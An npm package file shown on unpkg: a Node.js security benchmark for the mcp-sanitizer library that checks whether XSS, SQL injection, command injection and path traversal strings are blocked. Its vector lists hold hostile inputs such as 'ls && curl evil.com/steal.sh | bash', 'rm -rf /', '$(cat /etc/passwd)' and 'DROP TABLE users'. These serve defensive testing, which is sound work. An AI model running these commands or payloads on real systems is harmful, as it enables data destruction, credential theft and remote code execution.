UNPKG

mcp-sanitizer

Version:

Comprehensive security sanitization library for Model Context Protocol (MCP) servers with trusted security libraries

313 lines (252 loc) • 10.8 kB
/** * Advanced Security Benchmark Suite * * This benchmark tests advanced attack vectors and security scenarios * to ensure the MCP Sanitizer maintains security under all conditions. * * Priority: Security > Performance > Developer Experience * * Run with: node benchmark/advanced-security-benchmark.js */ const Benchmark = require('benchmark'); const MCPSanitizer = require('../src/index'); console.log('šŸ” Advanced Security Benchmark Suite\n'); console.log('Testing resilience against sophisticated attack vectors...\n'); // Security warning console.log('🚨 CRITICAL SECURITY TESTING 🚨'); console.log('═'.repeat(60)); console.log('āš ļø This benchmark tests REAL attack vectors'); console.log('āš ļø ANY failure indicates a SECURITY VULNERABILITY'); console.log('āš ļø False negatives are UNACCEPTABLE'); console.log('āš ļø Performance is SECONDARY to security'); console.log('═'.repeat(60) + '\n'); // Initialize sanitizer with strict policy const sanitizer = new MCPSanitizer('STRICT'); // Advanced XSS Vectors const xssVectors = [ // DOM-based XSS `<img src=x onerror="alert('xss')">`, `<svg onload="alert('xss')">`, `<iframe src="javascript:alert('xss')">`, // Attribute injection `<input type="text" value="" autofocus onfocus="alert('xss')">`, `<a href="javascript:void(0)" onclick="alert('xss')">Click</a>`, // CSS injection `<style>@import 'http://evil.com/xss.css';</style>`, `<div style="background:url('javascript:alert(1)')">`, // Event handler bypass attempts `<img src=x onerror=alert\`xss\`>`, `<svg><script>alert('xss')</script></svg>`, // Polyglot payloads `jaVasCript:/*-/*\`/*\*/alert('XSS')//</script>`, `';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//`, // Unicode and encoding bypass `<script>\\u0061lert('xss')</script>`, `<img src="x" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;">`, ]; // Advanced SQL Injection Vectors const sqlVectors = [ // Blind SQL injection `' AND (SELECT SUBSTRING(version(),1,1))='5'--`, `' AND SLEEP(5)--`, // Time-based blind `'; WAITFOR DELAY '00:00:05'--`, `' OR IF(1=1, SLEEP(5), 0)--`, // Second-order injection `admin'; INSERT INTO logs VALUES('injected')--`, // JSON/NoSQL injection `{"$where": "function(){return true;}"}`, `{"username": {"$ne": null}, "password": {"$ne": null}}`, // Stacked queries `'; DROP TABLE users; SELECT * FROM admin--`, // Union-based injection `' UNION SELECT NULL, version(), NULL--`, // Error-based injection `' AND extractvalue(1,concat(0x7e,(SELECT version()),0x7e))--`, ]; // Command Injection Vectors const commandVectors = [ // Environment variable exploitation `\${IFS}cat\${IFS}/etc/passwd`, `\$(cat /etc/passwd)`, // Unicode bypass attempts (actual Unicode characters) `\u0063\u0061\u0074 /etc/passwd`, // Null byte injection (actual null byte) `cat /etc/passwd\0.txt`, // Process substitution `<(curl http://evil.com/shell.sh)`, // Command chaining `ls; rm -rf /`, `ls && curl evil.com/steal.sh | bash`, `ls || wget evil.com/backdoor`, // Backtick execution `\`cat /etc/passwd\``, // Newline injection (actual newline) `ls\nrm -rf /`, ]; // Path Traversal Vectors const pathTraversalVectors = [ // Classic traversal `../../../etc/passwd`, `..\\..\\..\\windows\\system32\\config\\sam`, // Encoded traversal `%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd`, `..%252f..%252f..%252fetc%252fpasswd`, // Unicode traversal `\\..\\..\\..\\etc\\passwd`, `..\\u002f..\\u002f..\\u002fetc\\u002fpasswd`, // Absolute path attempts `/etc/passwd`, `C:\\Windows\\System32\\config\\sam`, // UNC path injection `\\\\attacker.com\\share\\malicious`, ]; // Security Metrics const securityMetrics = { totalTests: 0, blocked: 0, passed: 0, falseNegatives: [], processingTimes: [], memoryUsage: [] }; // Security validation function function validateSecurity(vectors, type) { console.log(`\nšŸ” Testing ${type} Vectors...`); console.log('─'.repeat(40)); let allBlocked = true; const startMem = process.memoryUsage().heapUsed; vectors.forEach((vector, index) => { const startTime = process.hrtime.bigint(); const result = sanitizer.sanitize(vector, { type }); const endTime = process.hrtime.bigint(); securityMetrics.totalTests++; securityMetrics.processingTimes.push(Number(endTime - startTime) / 1000000); // Convert to ms if (!result.blocked && result.warnings.length === 0) { allBlocked = false; securityMetrics.falseNegatives.push({ type, vector, index }); console.log(` āŒ SECURITY FAILURE: Vector ${index + 1} not blocked!`); console.log(` Vector: ${vector.substring(0, 50)}...`); } else { securityMetrics.blocked++; console.log(` āœ… Vector ${index + 1}: Blocked (${result.warnings.length} warnings)`); } }); const endMem = process.memoryUsage().heapUsed; securityMetrics.memoryUsage.push((endMem - startMem) / 1024 / 1024); // MB if (allBlocked) { console.log(`\n āœ… All ${vectors.length} ${type} vectors blocked successfully!`); } else { console.log(`\n āŒ CRITICAL: ${securityMetrics.falseNegatives.length} vectors passed through!`); } return allBlocked; } // Timing attack resistance test function testTimingAttackResistance() { console.log('\nā±ļø Testing Timing Attack Resistance...'); console.log('─'.repeat(40)); const validInput = 'normal text content'; const maliciousInput = '<script>alert("xss")</script>'; const validTimes = []; const maliciousTimes = []; // Collect timing samples for (let i = 0; i < 1000; i++) { let start = process.hrtime.bigint(); sanitizer.sanitize(validInput); let end = process.hrtime.bigint(); validTimes.push(Number(end - start)); start = process.hrtime.bigint(); sanitizer.sanitize(maliciousInput); end = process.hrtime.bigint(); maliciousTimes.push(Number(end - start)); } // Calculate statistics const validAvg = validTimes.reduce((a, b) => a + b) / validTimes.length; const maliciousAvg = maliciousTimes.reduce((a, b) => a + b) / maliciousTimes.length; const timingDiff = Math.abs(validAvg - maliciousAvg) / validAvg * 100; console.log(` Valid input avg: ${(validAvg / 1000000).toFixed(3)}ms`); console.log(` Malicious input avg: ${(maliciousAvg / 1000000).toFixed(3)}ms`); console.log(` Timing difference: ${timingDiff.toFixed(2)}%`); if (timingDiff < 5) { console.log(' āœ… Timing attack resistance: PASSED (< 5% variance)'); return true; } else { console.log(' āš ļø Timing attack risk: Variance > 5%'); return false; } } // Memory exhaustion test function testMemoryExhaustion() { console.log('\nšŸ’¾ Testing Memory Exhaustion Protection...'); console.log('─'.repeat(40)); const startMem = process.memoryUsage().heapUsed / 1024 / 1024; // Test with large payloads const largePayloads = [ 'A'.repeat(1000000), // 1MB string '<script>' + 'alert(1);'.repeat(100000) + '</script>', Array(10000).fill('<img src=x onerror=alert(1)>').join(''), ]; largePayloads.forEach((payload, index) => { const result = sanitizer.sanitize(payload); const currentMem = process.memoryUsage().heapUsed / 1024 / 1024; console.log(` Payload ${index + 1}: ${(currentMem - startMem).toFixed(2)}MB used`); }); const endMem = process.memoryUsage().heapUsed / 1024 / 1024; const totalMemUsed = endMem - startMem; if (totalMemUsed < 100) { console.log(` āœ… Memory usage bounded: ${totalMemUsed.toFixed(2)}MB (< 100MB limit)`); return true; } else { console.log(` āŒ Excessive memory usage: ${totalMemUsed.toFixed(2)}MB`); return false; } } // Run all security tests async function runSecurityBenchmark() { console.log('\nšŸ Starting Security Validation...\n'); const results = { xss: validateSecurity(xssVectors, 'xss'), sql: validateSecurity(sqlVectors, 'sql'), command: validateSecurity(commandVectors, 'command'), path: validateSecurity(pathTraversalVectors, 'file_path'), // Fixed: use 'file_path' not 'path' timing: testTimingAttackResistance(), memory: testMemoryExhaustion() }; // Final Report console.log('\n' + '═'.repeat(60)); console.log('šŸ“Š SECURITY BENCHMARK REPORT'); console.log('═'.repeat(60)); console.log('\nšŸ”’ Security Test Results:'); console.log(` XSS Protection: ${results.xss ? 'āœ… PASSED' : 'āŒ FAILED'}`); console.log(` SQL Injection Protection: ${results.sql ? 'āœ… PASSED' : 'āŒ FAILED'}`); console.log(` Command Injection Protection: ${results.command ? 'āœ… PASSED' : 'āŒ FAILED'}`); console.log(` Path Traversal Protection: ${results.path ? 'āœ… PASSED' : 'āŒ FAILED'}`); console.log(` Timing Attack Resistance: ${results.timing ? 'āœ… PASSED' : 'āš ļø WARNING'}`); console.log(` Memory Exhaustion Protection: ${results.memory ? 'āœ… PASSED' : 'āŒ FAILED'}`); console.log('\nšŸ“ˆ Performance Metrics:'); const avgTime = securityMetrics.processingTimes.reduce((a, b) => a + b, 0) / securityMetrics.processingTimes.length; console.log(` Average processing time: ${avgTime.toFixed(3)}ms`); console.log(` Max processing time: ${Math.max(...securityMetrics.processingTimes).toFixed(3)}ms`); console.log(` Min processing time: ${Math.min(...securityMetrics.processingTimes).toFixed(3)}ms`); console.log('\nšŸŽÆ Coverage Statistics:'); console.log(` Total attack vectors tested: ${securityMetrics.totalTests}`); console.log(` Successfully blocked: ${securityMetrics.blocked} (${(securityMetrics.blocked / securityMetrics.totalTests * 100).toFixed(1)}%)`); console.log(` False negatives: ${securityMetrics.falseNegatives.length} (${(securityMetrics.falseNegatives.length / securityMetrics.totalTests * 100).toFixed(1)}%)`); if (securityMetrics.falseNegatives.length > 0) { console.log('\nāŒ CRITICAL SECURITY FAILURES:'); securityMetrics.falseNegatives.forEach(failure => { console.log(` - ${failure.type} vector ${failure.index + 1}: ${failure.vector.substring(0, 50)}...`); }); console.log('\n🚨 SECURITY BENCHMARK FAILED - VULNERABILITIES DETECTED! 🚨'); } else { console.log('\nāœ… SECURITY BENCHMARK PASSED - NO VULNERABILITIES DETECTED! āœ…'); } console.log('\n' + '═'.repeat(60)); console.log('āš ļø Remember: Security > Performance > Developer Experience'); console.log('═'.repeat(60) + '\n'); } // Run the benchmark runSecurityBenchmark().catch(error => { console.error('āŒ Benchmark failed:', error); process.exit(1); });